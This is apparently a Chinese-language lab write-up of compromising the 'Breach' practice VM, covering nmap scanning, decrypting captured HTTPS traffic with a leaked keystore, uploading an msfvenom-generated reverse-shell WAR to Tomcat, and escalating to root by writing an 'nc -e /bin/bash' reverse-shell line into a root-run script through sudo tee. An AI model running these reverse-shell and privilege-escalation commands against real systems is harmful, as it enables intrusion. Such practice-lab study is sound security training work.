补充:桥接,nat,host only三种网络模式的区别:
模式: 特点: 场景:
- bridge桥接模式:
- 特点: 虚拟机使用物理机的网卡,不用虚拟网卡,占用一个ip,需要配置ip以后才可以访问互联网
- 场景:虚拟机需要连接实体设备的时候
- nat网络地址转换模式:
- 特点:虚拟了一个网卡出来,无需配置就可以访问互联网
- 场景:大部分情况下
- host only仅主机模式:
- 特点:虚拟机只能与物理机连接,不能访问互联网
- 场景:隔离内部网络。实验环境
1.配置环境,设为同一网段
作者描述:靶机配置了一个静态ip地址,需要仅主机适配器配置子网配置仅主机网卡为DHCP,子网地址为192.168.110.0
配置成功
主机发现:已知了它的ip地址:192.168.110.140 那可以省去这一步骤了
2.利用namap端口扫描(开了防御无果)
端口扫描:nmap -v -A 192.168.110.140 其中-A时深度扫描,-v是输出详细的信息
这么一扫发现几乎所有的端口都开放了,显然有问题,那是因为虚拟机对端口做了一些防护措施来混淆是非
3.手动测试,入手80端口,从网页寻找
所以只能手动测试了,一般都优先考虑80端口,因为它的web漏洞多
一般拿到一个页面,
- 右键看源码 √
- 扫描目录
- sql注入等等
看起来很像base64解码,(长度有64位,8的倍数)
假如是MD5的话,长度一定是32位 内容一定是0-9,A-F的范围内
哈希SHA-1的话,长度40,内容一定是0-9,A-F的范围内
初步判断 试试base64
看着像二次,再解一次
哇呜,好像啥,先留着吧
然后。沉默了,然后呢,o_o ....然后我就点啊点啊,点了一下图片就跳转到一个
是一个超链接
4.进入后台 cms漏洞挖掘+信息收集
发现是个impress cms漏洞,学到一个新知识,哈哈哈我的知识盲区
什么是cms?
CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。
常见的CMS:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。
对于拿到一个web网站首页,常用的渗透和收集信息的方法有:
- 查看源码
- 目录扫描
- sql注入 不需要
- 密码暴力破解 不需要
- 文件上传
- 等等
目录扫描好像没什么新奇的(前台)
惊!那个原来是账号密码,试试,就登进去了
然后跳转到这个页面,有点像目录泄露,为什么服务器的目录会泄露给用户端呢
启动msf,看看有没有什么现成的漏洞可以利用
发现有五个现成的漏洞,但是因为我不知道这个系统的版本,所以只能一个一个 去试试了
全部试了以后发现都不是,说明版本不适合 ???
只能另辟西经 有三个未读邮件
IDS:是入侵检测系统,IPS:是入侵防御系统
转到192.168.110.140/.keystore,下载下来是个keystore文件
keystore文件:是密钥存储文件,有密码保护的,但是我好像不知道密码
ssl/tls是http安全连接的协议
退出来以后继续收集信息,就从上面一栏一栏点开试试了
又出现了SSL
pcap file:是一个抓包文件,是一个记录流量的文件 这个文件也下载下来了
它告诉我 :他们告诉我别名,存储密码和密钥密码都设置为“tomcat”。有用了,刚刚那个keystore文件就差一个密码了
!重要:
这个 pcap file用wireshark去查看的话肯定不是明文的,因为这个经过了https安全加密的
没有找到httpo_o ....
5.利用keystore解密流量包,伪造ssl证书
所以我们要基于那个keystore来解密流量包😵
keystore的解密要借助jdk中的keytool.exe
在keystore所在文件地方打开终端,输入命令
keytool -list -keystore keystore
导出证书文件
keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat
导出keystore: -importkeystore
指定要导的源文件:-srckeystore keystore
指定导出的证书存放的路径: -destkeystore tomcatkeystore.p12
指定导出证书的类型: -deststoretype
导出的别名:-srcalias tomcat
成功导出SSL证书
要解密的是https的流量
SSL证书有啥用呢?
由于http协议采用的是明文传输数据,是非常不安全的。所以,为了使http协议在传输数据时更安全,客户端和服务器直接通信需要利用SSL证书进行身份认证和数据加解密,没有正确的SSL证书就无法破解http数据包的内容。
在之前还有个pcap文件,是一个数据包文件,可以利用Wireshark工具打开,
Frame:物理层的数据帧概况。
Ethernet II:数据链路层以太网帧头部信息。
Internet Protocol Version 4:互联网层IP包头部信息。
Transmission Control Protocol:传输层的数据段头部信息,此处是TCP协议。
User Datagram Protocol:UDP协议
Hypertext Transfer Protocol:应用层的信息,此处是HTTP协议
Transport Layer Security 安全运输协议,SSL
发现攻击者(192.168.110.129)大量访问靶机的8443端口,但其中许多数据包都被加密了
导入ssl证书,在编辑->首选项->Protocols-->SSL/TLS(如果没有SSL就选TLS)-->Edit输入ip,端口,证书存放路径,还有密码
出现了http,但是太多了,过滤一下,只关注应用层http的流量
ip.src == 192.168.110.140 || ip.dst == 192.160.110.140 and http
只关注靶机的ip和这个靶机ip的http流量 写个参数过滤
6.开bp代理,绕过浏览器检查
把靶机上是可以访问这个地址的,流量包显示
但是在我的电脑上却无法访问
为什么呢????
不安全,为什么呢?是不是证书出了问题,这就是服务器本身没什么问题的,应该是浏览器自己拦截的,因为它认为它不安全
惊!
这个窗口是HTTP BASIC验证
所以用户和密码是什么呢,还要寻找,目前只能先去流量包那里寻找了
经过漫长的寻找/(ㄒoㄒ)/~~
tomcat:Tt\5D8F(#!*u=G)4m7zB
登录进去以后快速在bp抓包再放包
7.进入Tomcat后台 上传war反弹连接
这个管理后台一般是用来管理java应用,有个上传的功能,想到上传war包木马 java反弹连接
用msf生成
先生成一个新目录
pwd
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war > tomcat.war 生成war包
从靶机发送到物理机
设置好监听
在物理机上传war包 快速抓包放包
点击执行tomcat程序,反弹shell
8.成功反弹,信息收集,提升权限
sysinfo 查看有没有系统漏洞 结合它的登录界面是Ubuntu14.04.4,去msf里search发现没有与之符合的相关漏洞
先提升到交互式吧,如果靶机刚好安装了python,就可以用命令
python -c 'import pty;pty. spawn("/bin/bash")'来提升到交互式 (就可以使用vi,cim那些命令了) 提升成功
现在要提权
尝试:
内核版本为Linux Breach 4.2.0-27-generic
试试查看它的操作系统最敏感的文件,cat /etc/passwd
存着用户名
这里我们忽略前面的一条线索
这个impressXXX网站是部署在apache 它默认的路径是/var/www
那我就cat它试试
第一个php文件是数据库连接的文件
发现最高权限的用户,用户名是root,密码是空
因为前面是php,初步判断它的数据库是mysql,试试能不能连上
进入了应用系统的数据库了
mysql是系统的库 查看它
milton:6450d89bd3aff1d893b85d3ad65d2ec2
密码 thelaststraw
这个密码刚好32位,怀疑是MD5
ssh登录成功!
ls -a 看看目录下隐藏文件
发现有个脚本
再来这里找找线索
这里有很多存在的用户 root blumbergh naono。。 但是密码未知
所以现在要找密码:找线索
http://192.168.110.140/images/
这里有个Bill.png
分析一下
邮件发送人也是Bill
跟bill有关系的用户是blumbergh,现在我们要找的是他的密码,那就初步判断那个bill.png里隐藏着密码
把图片下载下来
如何提取图片中的字符?
strings Linux操作的命令 从二进制文本把可见文本提取
exiftool
binwalk
notepad++
winhex/010editor
grep
sed
power_exif 查看属性的方式课修改一部分的信息
foremost或者010查看提取或者stegsolve或者stegohide
Linux中的dd命令
reverseMe图片逆转
Jphs,outguess,stagdetect
这里采有strings命令,打印文件中的可打印字符串,图片是二进制文件,直接打开基本是乱码,只有那些可以直接打印的字符才有可能是我们想要得到的数据
strings命令是二进制工具集GNU Binutils的一员,用于打印文件中可打印字符串,文件可以是文本文件(test.c),但一般用于打印二进制目标文件、库或可执行文件中的可打印字符。字符串默认至少是4个或更多可打印字符的任意序列,可使用选项改变字符串最小长度。
strings bill.png > bill.txt
一行行查看
密码:coffeestains
登录成功,开始信息收集
sudo -l
history
这个blumbergh可以用root的身份去执行这个程序
写一个反弹连接的任务到那个tidyup的执行文件 但是这个文件只有root才能更改
这个时候回到刚刚那个 /usr/bin/tee
tee是什么?
查看tee使用方法:Linux tee命令 | 菜鸟教程
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
也就是将一个文件的内容复制或者追加到另一个文件
先创建一个含反弹shell命令的文件shell.txt,并写入反弹命令(在blumbergh用户的home目录下)其他目录可能会没有写入权限
echo "nc -e /bin/bash 192.168.110.128 8888" >shell.txt
再开一个窗口,设置好准备监听,nv -lvvp 8888
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh 把shell.txt内容追加到目标文件
访问
查看flag:I NEED TO TALK ABOUT YOUR FLAIR
9.总结与思考
1.这次的靶场打的我比较震惊的,长见识了,真的很明显的感受到信息搜索和分析的力量,有种睿智的推理家的感觉了,特别是到后面推测用户blumbergh与bill微妙的关系,以及最后blumbergh的密码是隐藏在bill的图片里,是需要一大段信息的搜索和条理清晰的分析才能得到的推断的,要有耐心,不放过任何一条线索。
2.还有一些细节部分,例如查看网站的详细信息,用whatweb -v查看发现它是用apache搭建部署的,于是想到查看它的默认路径这/var/www,还有对一些密码类型的判断,等等都是需要一定积累,都是需要多打靶场得到的经验,当然我的那些思路都并不是我自己凭空想出来的,都是根据视频还有一些帖子模仿而来的
3.接触到新的知识,例如cms漏洞,伪造ssl证书,pcap文件是个流量包,利用keystore解密流量包http加密部分,以及bp代理绕过浏览器对证书的检查,利用msf生成war反弹shell的命令,还有连接mysql的一些命令(记得加;),tee命令与应用,常见提权方法。